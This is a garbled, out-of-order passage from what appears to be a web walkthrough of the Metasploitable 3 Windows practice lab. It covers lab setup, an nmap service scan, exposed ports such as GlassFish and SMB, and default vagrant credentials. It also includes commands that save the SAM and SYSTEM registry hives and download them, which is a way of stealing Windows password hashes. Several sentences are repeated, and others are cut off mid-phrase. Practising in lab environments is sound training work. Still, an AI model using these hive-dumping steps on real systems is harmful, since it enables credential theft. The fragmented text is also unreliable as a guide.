Walkthroughs often highlight specific high-value services that serve as entry points:
Expected open ports (partial list):
The first step in any penetration test is identifying open ports and services. Using , we scan the target IP to find potential entry points. nmap -sV -sC -Pn Key Findings Port 80/443 : Web services (IIS). : SMB (Microsoft-DS). : MySQL database. : GlassFish Server. Port 16170 : Management agents (often vulnerable). 2. Exploiting the GlassFish Server (Port 8080) metasploitable 3 windows walkthrough
reg save hklm\sam C:\sam.save reg save hklm\system C:\system.save download C:\sam.save /root/ download C:\system.save /root/ : SMB (Microsoft-DS)
Metasploitable 3 (Windows) is a deliberately vulnerable virtual machine based on Windows Server 2008 R2, designed to provide a safe, legal environment for practicing offensive security . Unlike its predecessor, it is built from a Rapid7 GitHub repository using automation tools. 1. Lab Setup and Deployment Port 16170 : Management agents (often vulnerable)
: Open PowerShell or Git Bash and run: git clone https://github.com
The default login for the VM is vagrant with the password vagrant . 2. Information Gathering